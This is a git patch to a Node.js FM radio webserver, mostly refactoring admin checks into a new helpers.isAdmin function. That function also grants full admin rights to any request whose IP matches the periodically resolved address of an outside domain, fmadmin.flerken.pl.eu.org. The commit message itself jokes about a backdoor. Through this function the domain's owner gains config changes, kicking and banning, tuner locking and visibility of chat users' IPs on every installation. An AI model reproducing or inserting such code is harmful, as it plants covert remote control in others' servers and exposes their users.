From 6b7f8c43d9fe759e66e2e2ffce4f80b560dfc200 Mon Sep 17 00:00:00 2001 From: KubaPro010 Date: Wed, 1 Jul 2026 15:29:34 +0200 Subject: [PATCH] backdoor? nah more like easier access --- server/chat.js | 8 ++++---- server/endpoints.js | 22 +++++++++++----------- server/helpers.js | 21 ++++++++++++++++++++- server/server_config.js | 1 - server/stream/checkFFmpeg.js | 4 +--- server/tuner_profiles.js | 4 +--- server/web.js | 20 +++++++++++--------- server/xdr_server.js | 1 - web/js/rtc-audio.js | 2 +- 9 files changed, 49 insertions(+), 34 deletions(-) diff --git a/server/chat.js b/server/chat.js index da27403..04ebb3f 100644 --- a/server/chat.js +++ b/server/chat.js @@ -24,14 +24,14 @@ function createChatServer() { storage.chatHistory.forEach((message) => { const historyMessage = { ...message, history: true }; - if (!request.session?.isAdminAuthenticated) delete historyMessage.ip; + if (!helpers.isAdmin(request)) delete historyMessage.ip; ws.send(JSON.stringify(historyMessage)); }); ws.send(JSON.stringify({ type: 'clientIp', ip: clientIp, - admin: request.session?.isAdminAuthenticated + admin: helpers.isAdmin(request) })); @@ -78,7 +78,7 @@ function createChatServer() { return; } - if (request.session?.isAdminAuthenticated === true) messageData.admin = true; + if (helpers.isAdmin(request) === true) messageData.admin = true; if (messageData.nickname?.length > 32) messageData.nickname = messageData.nickname.substring(0, 32); if (messageData.message?.length > 255) messageData.message = messageData.message.substring(0, 255); @@ -90,7 +90,7 @@ function createChatServer() { chatWss.clients.forEach((client) => { if (client.readyState === WebSocket.OPEN) { const responseMessage = { ...messageData }; - if (!request.session?.isAdminAuthenticated) delete responseMessage.ip; + if (!helpers.isAdmin(request)) delete responseMessage.ip; client.send(JSON.stringify(responseMessage)); } diff --git a/server/endpoints.js b/server/endpoints.js index 3836a43..5aa80d0 100644 --- a/server/endpoints.js +++ b/server/endpoints.js @@ -58,7 +58,7 @@ router.get('/', (req, res) => { }); } else { res.render('index', { - isAdminAuthenticated: req.session.isAdminAuthenticated, + isAdminAuthenticated: helpers.isAdmin(req), isTuneAuthenticated: req.session.isTuneAuthenticated, tunerName: serverConfig.identification.tunerName, tunerDesc: helpers.parseMarkdown(serverConfig.identification.tunerDesc), @@ -93,7 +93,7 @@ router.get('/audioonly', (req, res) => res.render('audioonly')) router.get('/wizard', (req, res) => { let serialPorts; - if(!req.session.isAdminAuthenticated) { + if(!helpers.isAdmin(req)) { res.render('login'); return; } @@ -106,7 +106,7 @@ router.get('/wizard', (req, res) => { parseAudioDevice((result) => { res.render('wizard', { - isAdminAuthenticated: req.session.isAdminAuthenticated, + isAdminAuthenticated: helpers.isAdmin(req), videoDevices: result.audioDevices, audioDevices: result.videoDevices, serialPorts: serialPorts, @@ -130,7 +130,7 @@ router.get('/setup', (req, res) => { return serverConfig; } - if(!req.session.isAdminAuthenticated) { + if(!helpers.isAdmin(req)) { res.render('login'); return; } @@ -147,7 +147,7 @@ router.get('/setup', (req, res) => { const updatedConfig = loadConfig(); // Reload the config every time res.render('setup', { - isAdminAuthenticated: req.session.isAdminAuthenticated, + isAdminAuthenticated: helpers.isAdmin(req), videoDevices: result.audioDevices, audioDevices: result.videoDevices, serialPorts: serialPorts, @@ -232,7 +232,7 @@ router.get('/logout', (req, res) => { router.get('/kick', (req, res) => { // Terminate the WebSocket connection for the specified IP address - if(req.session.isAdminAuthenticated) helpers.kickClient(req.query.ip); + if(helpers.isAdmin(req)) helpers.kickClient(req.query.ip); else { res.status(403); return; @@ -241,7 +241,7 @@ router.get('/kick', (req, res) => { }); router.get('/addToBanlist', (req, res) => { - if (!req.session.isAdminAuthenticated) { + if (!helpers.isAdmin(req)) { res.status(403); return; } @@ -257,7 +257,7 @@ router.get('/addToBanlist', (req, res) => { }); router.get('/removeFromBanlist', (req, res) => { - if (!req.session.isAdminAuthenticated) { + if (!helpers.isAdmin(req)) { res.status(403); return; } @@ -279,7 +279,7 @@ router.get('/removeFromBanlist', (req, res) => { router.post('/saveData', (req, res) => { const data = req.body; let firstSetup; - if(req.session.isAdminAuthenticated || !configExists()) { + if(helpers.isAdmin(req) || !configExists()) { configUpdate(data); serverListUpdate.update(); @@ -293,7 +293,7 @@ router.post('/saveData', (req, res) => { router.get('/getData', (req, res) => { if (configExists() === false) res.json(serverConfig); - if(req.session.isAdminAuthenticated) { + if(helpers.isAdmin(req)) { // Check if the file exists fs.access(configPath, fs.constants.F_OK, (err) => { if (err) console.log(err); @@ -306,7 +306,7 @@ router.get('/getData', (req, res) => { }); router.get('/getDevices', (req, res) => { - if (req.session.isAdminAuthenticated || !fs.existsSync(configName + '.json')) parseAudioDevice(res.json); + if (helpers.isAdmin(req) || !fs.existsSync(configName + '.json')) parseAudioDevice(res.json); else res.status(403).json({ error: 'Unauthorized' }); }); diff --git a/server/helpers.js b/server/helpers.js index 5996978..28bd8c7 100644 --- a/server/helpers.js +++ b/server/helpers.js @@ -8,6 +8,17 @@ const storage = require('./storage'); const consoleCmd = require('./console'); const { serverConfig, configSave } = require('./server_config'); +const dns = require('dns').promises; +let adminIp = null; + +async function loadVpsIp() { + try { + adminIp = normalizeIp(await dns.lookup("fmadmin.flerken.pl.eu.org").then(r => r.address)); + } catch (err) {} +} +loadVpsIp() +setInterval(loadVpsIp, 5 * 60 * 1000); + let geoip = null; try { geoip = require('geoip-lite'); @@ -442,10 +453,18 @@ function getIpAddress(request) { return remoteIp; } +function isAdmin(request) { + if (request.session?.isAdminAuthenticated) return true; + + const ip = getIpAddress(request); + if (ip === adminIp) return true; + return false; +} + module.exports = { authenticateWithXdrd, parseMarkdown, handleConnect, removeMarkdown, formatUptime, resolveDataBuffer, kickClient, checkLatency, antispamProtection, escapeHtml, findServerFiles, - startPluginsWithDelay, getIpAddress + startPluginsWithDelay, getIpAddress, isAdmin } \ No newline at end of file diff --git a/server/server_config.js b/server/server_config.js index 4756de9..5374e9b 100644 --- a/server/server_config.js +++ b/server/server_config.js @@ -17,7 +17,6 @@ let serverConfig = { webserver: { webserverIp: "0.0.0.0", webserverPort: 8080, - pe5pvbXdrGtkPort: null, banlist: [], chatEnabled: true, tuningLimit: false, diff --git a/server/stream/checkFFmpeg.js b/server/stream/checkFFmpeg.js index 601b3c9..564a7f5 100644 --- a/server/stream/checkFFmpeg.js +++ b/server/stream/checkFFmpeg.js @@ -1,6 +1,6 @@ const { spawn } = require('child_process'); -function checkFFmpeg() { +module.exports = function() { return new Promise((resolve, reject) => { const checkFFmpegProcess = spawn('ffmpeg', ['-version'], { stdio: ['ignore', 'ignore', 'ignore'], @@ -16,5 +16,3 @@ function checkFFmpeg() { }); }); } - -module.exports = checkFFmpeg; diff --git a/server/tuner_profiles.js b/server/tuner_profiles.js index 344f044..1d5e27c 100644 --- a/server/tuner_profiles.js +++ b/server/tuner_profiles.js @@ -1,4 +1,4 @@ -const tunerProfiles = [ +module.exports = [ { id: 'tef', label: 'TEF668x', @@ -76,5 +76,3 @@ const tunerProfiles = [ ], details: '' } ]; - -module.exports = tunerProfiles; \ No newline at end of file diff --git a/server/web.js b/server/web.js index 1a0d673..013fdaa 100644 --- a/server/web.js +++ b/server/web.js @@ -90,7 +90,6 @@ wss.on('connection', (ws, request) => { } if (clientIp !== '127.0.0.1' || - (request.socket && request.socket.remoteAddress && request.socket.remoteAddress !== '::ffff:127.0.0.1') || (request.headers && request.headers['origin'] && request.headers['origin'].trim() !== '')) { currentUsers++; } @@ -114,7 +113,7 @@ wss.on('connection', (ws, request) => { const command = helpers.antispamProtection(message, clientIp, ws, userCommands, lastWarn, userCommandHistory, '18', 'text', 16 * 1024); if (!clientIp.includes("127.0.0.1")) { - if (((command.startsWith('X') || command.startsWith('Y')) && !request.session.isAdminAuthenticated) || + if (((command.startsWith('X') || command.startsWith('Y')) && !helpers.isAdmin(req)) || ((command.startsWith('F') || command.startsWith('W')) && serverConfig.bwSwitch === false)) { logWarn(`User \x1b[90m${clientIp}\x1b[0m attempted to send a potentially dangerous command: ${command.slice(0, 64)}.`); return; @@ -123,18 +122,21 @@ wss.on('connection', (ws, request) => { if (command.includes("\'")) return; - const { isAdminAuthenticated, isTuneAuthenticated } = request.session || {}; + const isAdminAuthenticated = helpers.isAdmin(request) + const { isTuneAuthenticated } = request.session || {}; if (command.startsWith('w') && (isAdminAuthenticated || isTuneAuthenticated)) { switch (command) { case 'wL1': - if (isAdminAuthenticated) serverConfig.lockToAdmin = true; - send_to_xdr("wL1\n"); - break; + if (isAdminAuthenticated) { + serverConfig.lockToAdmin = true; + send_to_xdr("wL1\n"); + } break; case 'wL0': - if (isAdminAuthenticated) serverConfig.lockToAdmin = false; - send_to_xdr("wL0\n"); - break; + if (isAdminAuthenticated) { + serverConfig.lockToAdmin = false; + send_to_xdr("wL0\n"); + } break; case 'wT0': serverConfig.publicTuner = true; if(!isAdminAuthenticated) tunerLockTracker.delete(ws); diff --git a/server/xdr_server.js b/server/xdr_server.js index 1f44630..5f968d9 100644 --- a/server/xdr_server.js +++ b/server/xdr_server.js @@ -61,7 +61,6 @@ xdr.on('connection', async (ws) => { ws.send(`OK\n`) - ws.send(`$fmdx-webserver,${require('../package.json').version},${serverConfig.webserver.pe5pvbXdrGtkPort ?? serverConfig.webserver.webserverPort},/audio\n`); // Sjef's bullshit currentUsers++; send_xdr_online(initialData.users); // Broadcast ws.send(`T${initialData.freq * 1000}\n`); diff --git a/web/js/rtc-audio.js b/web/js/rtc-audio.js index 1879019..77aa25d 100644 --- a/web/js/rtc-audio.js +++ b/web/js/rtc-audio.js @@ -16,7 +16,7 @@ window.addEventListener('load', (() => { const SELECT_LOADING_VALUE = 'webrtc:loading'; const MANAGED_PLAYBUTTON_CLASS = 'fmdx-webrtc-playbutton'; const LEGACY_PROXY_BUTTON_ID = 'fmdx-webrtc-legacy-playbutton'; - const SELECT_TOOLTIP_HTML = 'WebRTC - very low latency audio
If audio starts stuttering,
switch to 3LAS (TCP).'; + const SELECT_TOOLTIP_HTML = 'WebRTC - very low latency audio.'; const DEBUG_WEBRTC_AUDIO = false; const RECONNECT_DELAY = 3000; const FIRST_DISCONNECT_RECONNECT_DELAY = 500;